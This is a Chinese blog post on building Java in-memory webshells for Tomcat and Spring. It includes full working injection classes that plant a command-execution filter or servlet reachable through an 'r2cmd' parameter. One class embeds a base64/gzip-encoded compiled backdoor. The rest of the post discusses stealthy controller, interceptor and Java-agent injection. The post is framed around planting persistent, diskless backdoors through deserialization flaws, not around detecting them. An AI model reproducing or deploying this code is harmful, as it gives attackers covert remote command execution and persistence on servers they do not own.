0%

java内存马

前言

所谓内存马,就是运行在内存中的一段后门程序,它在磁盘上没有具体的代码文件,所以相较于普通马来说隐蔽性更高。具体到java内存马来说,java内存马就是jvm中的一些恶意类或者是被寄生的类(原先是正常类,但是后来被植入了恶意代码,通常通过agent植入)。这些类能够在后端处理请求的过程中被调用,从而触发我们的后门代码执行。

java内存马可以分为粗分为两类,一类是agent型,一类是非agent型。除了agent型之外的都可以统称为非agent型,包括servlet型、spring型、以及具体中间件类型等。下面主要介绍servlet、spring和agent类型的内存马。

servlet

使用servlet原生api注入内存马有三种方式,分别对应了servlet的三大组件,即servlet、filter、listener。注意servlet本身也是servlet api的一个组件。通过动态注册这三大组件,以达到在请求处理的流程中的不同时机执行恶意代码的目的。

其实,要想注册三大组件,本身也需要一个恶意代码执行的点,就比如反序列化漏洞造成的恶意代码执行。所以其实是我们先通过恶意代码执行点写入内存马,以后再想执行恶意代码时,可以直接通过内存马来执行,就不再需要构造复杂的payload了。

而servlet中的所有组件当中,filter和listener较为好用,servlet可能会受到拦截器的拦截,无法执行。具体的注册原理请看这篇文章,这里不赘述。

下文提到的servlet类和spring类的内存马都是通过反序列化漏洞来注入的。

filter

在注册filter时,我们执行的恶意代码如下。

这个类本身即是AbstractTranslet的子类,又实现了Filter接口。在注册filter时,可以直接将自身注册。

package ysoserial.payloads.memshell.tomcat;


import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Arrays;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;

public class FilterTomcatShellInject extends AbstractTranslet implements Filter {

    /**
     * webshell命令参数名
     */
    private final String cmdParamName = "r2cmd";
    /**
     * 建议针对相应业务去修改filter过滤的url pattern
     */
    private final static String filterUrlPattern = "/*";
    private final static String filterName = "xxxxx";

    static {
        try {
            javax.servlet.ServletContext servletContext = _getServletContext();
            if (servletContext != null) {
                Class c = Class.forName("org.apache.catalina.core.StandardContext");
                Object standardContext = null;
                //判断是否已有该名字的filter,有则不再添加
                if (servletContext.getFilterRegistration(filterName) == null) {
                    //遍历出标准上下文对象
                    for (; standardContext == null; ) {
                        java.lang.reflect.Field contextField = servletContext.getClass().getDeclaredField("context");
                        contextField.setAccessible(true);
                        Object o = contextField.get(servletContext);
                        if (o instanceof javax.servlet.ServletContext) {
                            servletContext = (javax.servlet.ServletContext) o;
                        } else if (c.isAssignableFrom(o.getClass())) {
                            standardContext = o;
                        }
                    }
                    if (standardContext != null) {
                        //修改状态,要不然添加不了
                        java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
                            .getDeclaredField("state");
                        stateField.setAccessible(true);
                        stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
                        //创建一个自定义的Filter马
                        Filter filter = new FilterTomcatShellInject();
                        //添加filter马
                        javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext
                            .addFilter(filterName, filter);
                        filterRegistration.setInitParameter("encoding", "utf-8");
                        filterRegistration.setAsyncSupported(false);
                        filterRegistration
                            .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
                                new String[]{"/*"});
                        //状态恢复,要不然服务不可用
                        if (stateField != null) {
                            stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
                        }

                        if (standardContext != null) {
                            //生效filter
                            Method filterStartMethod = org.apache.catalina.core.StandardContext.class
                                .getMethod("filterStart");
                            filterStartMethod.setAccessible(true);
                            filterStartMethod.invoke(standardContext, null);

                            Class ccc = null;
                            try {
                                ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                            } catch (Throwable t){}
                            if (ccc == null) {
                                try {
                                    ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
                                } catch (Throwable t){}
                            }
                            //把filter插到第一位
                            Method m = c.getMethod("findFilterMaps");
                            Object[] filterMaps = (Object[]) m.invoke(standardContext);
                            Object[] tmpFilterMaps = new Object[filterMaps.length];
                            int index = 1;
                            for (int i = 0; i < filterMaps.length; i++) {
                                Object o = filterMaps[i];
                                m = ccc.getMethod("getFilterName");
                                String name = (String) m.invoke(o);
                                if (name.equalsIgnoreCase(filterName)) {
                                    tmpFilterMaps[0] = o;
                                } else {
                                    tmpFilterMaps[index++] = filterMaps[i];
                                }
                            }
                            for (int i = 0; i < filterMaps.length; i++) {
                                filterMaps[i] = tmpFilterMaps[i];
                            }
                        }
                    }
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static ServletContext _getServletContext()
        throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        ServletRequest servletRequest = null;
        /*shell注入,前提需要能拿到request、response等*/
        Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
        java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");
        f.setAccessible(true);
        ThreadLocal threadLocal = (ThreadLocal) f.get(null);
        //不为空则意味着第一次反序列化的准备工作已成功
        if (threadLocal != null && threadLocal.get() != null) {
            servletRequest = (ServletRequest) threadLocal.get();
        }
        //如果不能去到request,则换一种方式尝试获取

        //spring获取法1
        if (servletRequest == null) {
            try {
                c = Class.forName("org.springframework.web.context.request.RequestContextHolder");
                Method m = c.getMethod("getRequestAttributes");
                Object o = m.invoke(null);
                c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
                m = c.getMethod("getRequest");
                servletRequest = (ServletRequest) m.invoke(o);
            } catch (Throwable t) {}
        }
        if (servletRequest != null)
            return servletRequest.getServletContext();

        //spring获取法2
        try {
            c = Class.forName("org.springframework.web.context.ContextLoader");
            Method m = c.getMethod("getCurrentWebApplicationContext");
            Object o = m.invoke(null);
            c = Class.forName("org.springframework.web.context.WebApplicationContext");
            m = c.getMethod("getServletContext");
            ServletContext servletContext = (ServletContext) m.invoke(o);
            return servletContext;
        } catch (Throwable t) {}
        return null;
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
        throws TransletException {

    }

    public void init(FilterConfig filterConfig) throws ServletException {

    }

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
        FilterChain filterChain) throws IOException, ServletException {
        String cmd = servletRequest.getParameter(cmdParamName);
        if(cmd==null&&cmd.trim().length()==0){
            filterChain.doFilter(servletRequest,servletResponse);
            return;
        }
        String[] cmds;
        String osName = System.getProperty("os.name");
        if (osName.startsWith("Mac OS")) {
            cmds = new String[]{"/bin/bash", "-c", cmd};
        } else if (osName.startsWith("Windows")) {
            cmds = new String[]{"cmd.exe", "/c", cmd};
        } else {
            if(new java.io.File("/bin/bash").exists()){
                cmds = new String[]{"/bin/bash", cmd};
            }else{
                cmds = new String[]{"/bin/sh", "-c", cmd};
            }
        }
        System.out.println(Arrays.toString(cmds));
        java.io.PrintWriter out=null;
        try {
            out = servletResponse.getWriter();
            InputStream in = null;
            try{
                in = Runtime.getRuntime().exec(cmds).getInputStream();
            }catch (Exception e){
                System.out.println("2");
//                System.out.println(e);
//                e.printStackTrace(out);
//                out.flush();
            }finally {
                if(in!=null){
                    in.close();
                }
            }
            java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            out.println(output);
        } catch (IOException e) {
        }
//        filterChain.doFilter(servletRequest,servletResponse);
    }

    public void destroy() {

    }
}    

servlet

在注册servlet时,就没那么简单了。因为恶意类本身要继承AbstractTranslet(反序列化gadget需要),而想要成为Servlet又得继承HttpServlet。Java不允许多继承,因此不太好操作。

这里采用的做法是另外定义一个类A去继承HttpServlet,让恶意类B继承AbstractTranslet,然后让B去加载A,实现servlet的注册。

注意,加载时最好将A类的class文件内容转换成一个byte数组来加载,否则可能因为靶机没有这个类导致ClassNotFound Exception

类A

package ysoserial.payloads.memshell.shellcode;

import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.zip.GZIPOutputStream;

public class TomcatShellServlet extends HttpServlet {
    private final String cmdParamName = "r2cmd";



    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) {
        servletResponse.setContentType("text/plain;charset=utf-8");
        String cmd = servletRequest.getParameter(cmdParamName);
        String[] cmds;
        String osName = System.getProperty("os.name");
        if (osName.startsWith("Mac OS")) {
            cmds = new String[]{"/bin/bash", "-c", cmd};
        } else if (osName.startsWith("Windows")) {
            cmds = new String[]{"cmd.exe", "/c", cmd};
        } else {
            if(new java.io.File("/bin/bash").exists()){
                cmds = new String[]{"/bin/bash", cmd};
            }else{
                cmds = new String[]{"/bin/sh", "-c", cmd};
            }
        }
        java.io.PrintWriter out=null;
        InputStream in = null,err=null;
        try {
            out = servletResponse.getWriter();
            Process exec = Runtime.getRuntime().exec(cmds);
            in = exec.getInputStream();
            err = exec.getErrorStream();
            java.util.Scanner outputScanner = new java.util.Scanner(in).useDelimiter("\\a");
            java.util.Scanner errScanner = new java.util.Scanner(err).useDelimiter("\\a");
            String output = outputScanner.hasNext() ? outputScanner.next() : "";
            out.println(output);
            String error = errScanner.hasNext() ? errScanner.next() : "";
            out.println(error);
        } catch (IOException e) {
            if(out!=null){
                e.printStackTrace(out);
            }
        }finally {
            if(in!=null){
                try {
                    in.close();
                } catch (IOException e) {
                    e.printStackTrace(out);
                }
            }
        }
    }


    public static void main(String[] args) throws IOException {
        InputStream in = TomcatShellServlet.class.getClassLoader().getResourceAsStream("ysoserial/payloads/memshell/shellcode/TomcatShellServlet.class");
        byte[] bytes = new byte[in.available()];
        in.read(bytes);
        // 将字节压缩下
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        GZIPOutputStream gzipOutputStream=new GZIPOutputStream(byteArrayOutputStream);
        gzipOutputStream.write(bytes);
        gzipOutputStream.close();
        System.out.println(java.util.Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
    }
}

类B

package ysoserial.payloads.memshell.tomcat;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.http.HttpServlet;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class ServletTomcatShellInject extends AbstractTranslet {


    /**
     * 建议针对相应业务去修改filter过滤的url pattern
     */
    private final static String servletUrlPattern = "/r2MemShell";
    private final static String servletName = "r2MemShell";

    static {
        try {
            javax.servlet.ServletContext servletContext = _getServletContext();
            if (servletContext != null) {
                // 如果已有此 servletName 的 Servlet,则不再重复添加
                if (servletContext.getServletRegistration(servletName) == null) {

                    StandardContext o = null;

                    // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
                    while (o == null) {
                        Field f = servletContext.getClass().getDeclaredField("context");
                        f.setAccessible(true);
                        Object object = f.get(servletContext);

                        if (object instanceof ServletContext) {
                            servletContext = (ServletContext) object;
                        } else if (object instanceof StandardContext) {
                            o = (StandardContext) object;
                        }
                    }
                    try{
                        Class<HttpServlet> clazz = defineClass();
                        // 创建自定义 Servlet
                        // 使用 Wrapper 封装 Servlet
                        Wrapper wrapper = o.createWrapper();
                        wrapper.setName(servletName);
                        wrapper.setLoadOnStartup(1);
                        wrapper.setServlet(clazz.newInstance());
                        wrapper.setServletClass(clazz.getName());

                        // 向 children 中添加 wrapper
                        o.addChild(wrapper);

                        // 添加 servletMappings
                        o.addServletMappingDecoded(servletUrlPattern, servletName);
                    }catch (Exception e){

                    }

                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static Class<HttpServlet> defineClass() throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException {
        java.lang.ClassLoader classLoader = (java.lang.ClassLoader) Thread.currentThread().getContextClassLoader();
        java.lang.reflect.Method defineClass = java.lang.ClassLoader.class.getDeclaredMethod("defineClass",new Class[] {byte[].class, int.class, int.class});
        defineClass.setAccessible(true);
        String evalBase64 = "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";
        byte[] evalBytes = java.util.Base64.getDecoder().decode(evalBase64);
        java.io.ByteArrayInputStream byteInputStream = new java.io.ByteArrayInputStream(evalBytes);
        java.io.ByteArrayOutputStream byteOutputStream = new java.io.ByteArrayOutputStream();
        java.util.zip.GZIPInputStream gzipInputStream = new java.util.zip.GZIPInputStream(byteInputStream);
        byte[] buffer = new byte[1024];
        for (int i=-1;(i=gzipInputStream.read(buffer)) >0;){
            byteOutputStream.write(buffer,0,i);
        }
        byte[] bytes = byteOutputStream.toByteArray();
        return (Class<HttpServlet>) defineClass.invoke(classLoader, new Object[] {bytes, 0, bytes.length});
    }



    private static ServletContext _getServletContext() throws Exception{
        ServletRequest servletRequest = null;
        /*shell注入,前提需要能拿到request、response等*/
        Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
        java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");
        f.setAccessible(true);
        ThreadLocal threadLocal = (ThreadLocal) f.get(null);
        //不为空则意味着第一次反序列化的准备工作已成功
        if (threadLocal != null && threadLocal.get() != null) {
            servletRequest = (ServletRequest) threadLocal.get();
        }
        //如果不能去到request,则换一种方式尝试获取

        //spring获取法1
        if (servletRequest == null) {
            try {
                c = Class.forName("org.springframework.web.context.request.RequestContextHolder");
                Method m = c.getMethod("getRequestAttributes");
                Object o = m.invoke(null);
                c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
                m = c.getMethod("getRequest");
                servletRequest = (ServletRequest) m.invoke(o);
            } catch (Throwable t) {}
        }
        if (servletRequest != null)
            return servletRequest.getServletContext();

        //spring获取法2
        try {
            c = Class.forName("org.springframework.web.context.ContextLoader");
            Method m = c.getMethod("getCurrentWebApplicationContext");
            Object o = m.invoke(null);
            c = Class.forName("org.springframework.web.context.WebApplicationContext");
            m = c.getMethod("getServletContext");
            ServletContext servletContext = (ServletContext) m.invoke(o);
            return servletContext;
        } catch (Throwable t) {}
        return null;
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

listener

listener与filter相同,都是需要实现接口,不再赘述。

spring

controller

以Spring MVC5.3.12来分析

RequestMappingHandlerMapping的afterPropertiesSet方法在这个对象的字段被设置好之后被调用,此时会对@Controller注解标注的类做一些注册操作,会调用MappingRegistry::register方法注册处理器方法。构造内存马的过程也就是模仿RequestMappingHandlerMapping对@Controller和@RequestMapping注解的处理过程,调用MappingRegistry::register方法注册处理器方法。

register:594, AbstractHandlerMethodMapping$MappingRegistry (org.springframework.web.servlet.handler)
registerHandlerMethod:318, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
registerHandlerMethod:350, RequestMappingHandlerMapping (org.springframework.web.servlet.mvc.method.annotation)
registerHandlerMethod:67, RequestMappingHandlerMapping (org.springframework.web.servlet.mvc.method.annotation)
lambda$detectHandlerMethods$1:288, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
accept:-1, 765420745 (org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$$Lambda$405)
forEach:684, LinkedHashMap (java.util)
detectHandlerMethods:286, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
processCandidateBean:258, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
initHandlerMethods:217, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
afterPropertiesSet:205, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
afterPropertiesSet:171, RequestMappingHandlerMapping (org.springframework.web.servlet.mvc.method.annotation)
invokeInitMethods:1855, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
initializeBean:1792, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
doCreateBean:595, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
createBean:517, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
lambda$doGetBean$0:323, AbstractBeanFactory (org.springframework.beans.factory.support)
getObject:-1, 1807623441 (org.springframework.beans.factory.support.AbstractBeanFactory$$Lambda$161)
getSingleton:222, DefaultSingletonBeanRegistry (org.springframework.beans.factory.support)
doGetBean:321, AbstractBeanFactory (org.springframework.beans.factory.support)
getBean:202, AbstractBeanFactory (org.springframework.beans.factory.support)
preInstantiateSingletons:879, DefaultListableBeanFactory (org.springframework.beans.factory.support)
finishBeanFactoryInitialization:878, AbstractApplicationContext (org.springframework.context.support)
refresh:550, AbstractApplicationContext (org.springframework.context.support)
refresh:141, ServletWebServerApplicationContext (org.springframework.boot.web.servlet.context)
refresh:747, SpringApplication (org.springframework.boot)
refreshContext:397, SpringApplication (org.springframework.boot)
run:315, SpringApplication (org.springframework.boot)
run:1226, SpringApplication (org.springframework.boot)
run:1215, SpringApplication (org.springframework.boot)
main:10, MemshellTestApplication (com.zfirm.memshelltest)

兼容性问题

如果想要写一个比较通用的内存马,适用于多个spring版本,那么就不得不考虑版本之间的兼容性问题。兼容性考虑分三个方面:容器、注解映射器、注册方法

容器

容器优先选择child context,这里引用LandGrey师傅的解释

Root Context 与 Child Context

上文展示的四种获得当前代码运行时的上下文环境的方法中,推荐使用后面两种方法获得 Child WebApplicationContext。

这是因为:根据习惯,在很多应用配置中注册Controller 的 component-scan 组件都配置在类似的 dispatcherServlet-servlet.xml 中,而不是全局配置文件 applicationContext.xml 中。

这样就导致 RequestMappingHandlerMapping 的实例 bean 只存在于 Child WebApplicationContext 环境中,而不是 Root WebApplicationContext 中。上文也提到过,Root Context无法访问Child Context中定义的 bean,所以可能会导致 Root WebApplicationContext 获得不了 RequestMappingHandlerMapping 的实例 bean 的情况。

另外,在有些Spring 应用逻辑比较简单的情况下,可能没有配置 ContextLoaderListener 、也没有类似 applicationContext.xml 的全局配置文件,只有简单的 servlet 配置文件,这时候通过前两种方法是获取不到Root WebApplicationContext的。

因此,我们在获取容器时,最好使用以下两种方法

WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

注解映射器

Spring>=4.2.0: RequestMappingHandlerMapping(AbstractHandlerMethodMapping)
public void registerMapping(T mapping, Object handler, Method method);
protected void registerHandlerMethod(Object handler, Method method, T mapping);
Spring>=3.1: RequestMappingHandlerMapping(AbstractHandlerMethodMapping)

以3.1.0.RELEASE为例

protected void detectHandlerMethods(Object handler);
protected void registerHandlerMethod(Object handler, Method method, T mapping);
Spring<3.1: DefaultAnnotationHandlerMapping (AbstractUrlHandlerMapping)

以3.0.0.RELEASE为例

protected void registerHandler(String urlPath, Object handler) throws BeansException, IllegalStateException;

interceptor

springmvc在处理请求时,获取处理器执行链的调用栈如下

getHandlerExecutionChain:477, AbstractHandlerMapping (org.springframework.web.servlet.handler)
getHandler:406, AbstractHandlerMapping (org.springframework.web.servlet.handler)
getHandler:1234, DispatcherServlet (org.springframework.web.servlet)
doDispatch:1016, DispatcherServlet (org.springframework.web.servlet)
doService:943, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:634, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:741, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:202, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:526, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:139, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:367, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:860, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1591, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

一开始比较好奇为什么不用配置拦截器拦截的url,看下面这段代码就清晰很多了。我们配置的TestInteceptor不继承于MappedInterceptor,因此无条件加入执行链。

image-20210928164515438

兼容性问题

这里的版本兼容问题与注入controller类似,都需要考虑容器和注解映射器。不同的是,在添加拦截器时,我们不需要去考虑方法级别的兼容,可以说不涉及到方法的调用,我们只需要去往AbstractHandlerMapping(即RequestMappingHandlerMapping和DefaultAnnotationHandlerMapping的n层父类)的adaptedInterceptors字段去注入拦截器对象即可。

这里有个坑点,在3.1.0以上的版本中,adaptedInterceptors字段引用类型为List,3.1.0以下的版本的adaptedInterceptors字段引用类型为HandlerInterceptor数组,写的时候没注意这点导致被坑了好久。这里想吐槽一下jdk给出的报错信息,反射设置对象时,传入的字段值与字段实际引用类型不相符的时候,抛出的异常是cannot set field of xxx to null,也就是说jdk把我们传入的错误类型变成了null,有点坑。

agent

基于agent实现的内存马我认为是众多内存马实现方式中最为通用的一个。上文在写spring内存马的时候提到了很多兼容性问题,不同版本的springmvc提供的api不太相同,导致我们需要去处理非常繁杂的版本兼容问题。如果目标系统没有使用spring框架,那么我们就有些束手无策。不过,你当然可以试试植入tomcat的内存马,但是这样做仍然只是治标不治本。说到底,就是内存马植入与目标系统的实现耦合在了一起。相比之下,基于agent的内存马具有两点好处

  1. 不依赖于具体web服务器实现,无论是tomcat、jetty还是undertow,都可以通吃
  2. 不依赖于具体web框架,无论使原生servlet写的网站还是使用了spring框架,都可以通吃

有了这两点好处,使得基于agent实现的内存马非常通用,再也不需要考虑目标系统的框架、版本、服务器等问题。

实现原理

agent内存马的实现离不开两大技术,一是JVM Instrumentation,二是字节码修改库

JVM Instrumentation是java语言提供的一种api,它给编程者提供了一系列操控、监视jvm的接口。我们在内存马的实现过程中,主要用到的功能就是,书写类加载的回调函数,当触发类加载需要读取类的字节码时,执行我们的回调函数,我们在回调函数中对字节码做修改,加上我们的恶意代码,然后再返回给类加载器进行加载。同时,我们还可以手动调用api,触发已经加载类的重新加载。

实际上这里说到的JVM Instrumentation的原理还是比较粗浅的,不太准确,详细请参看javaagent那篇文章。

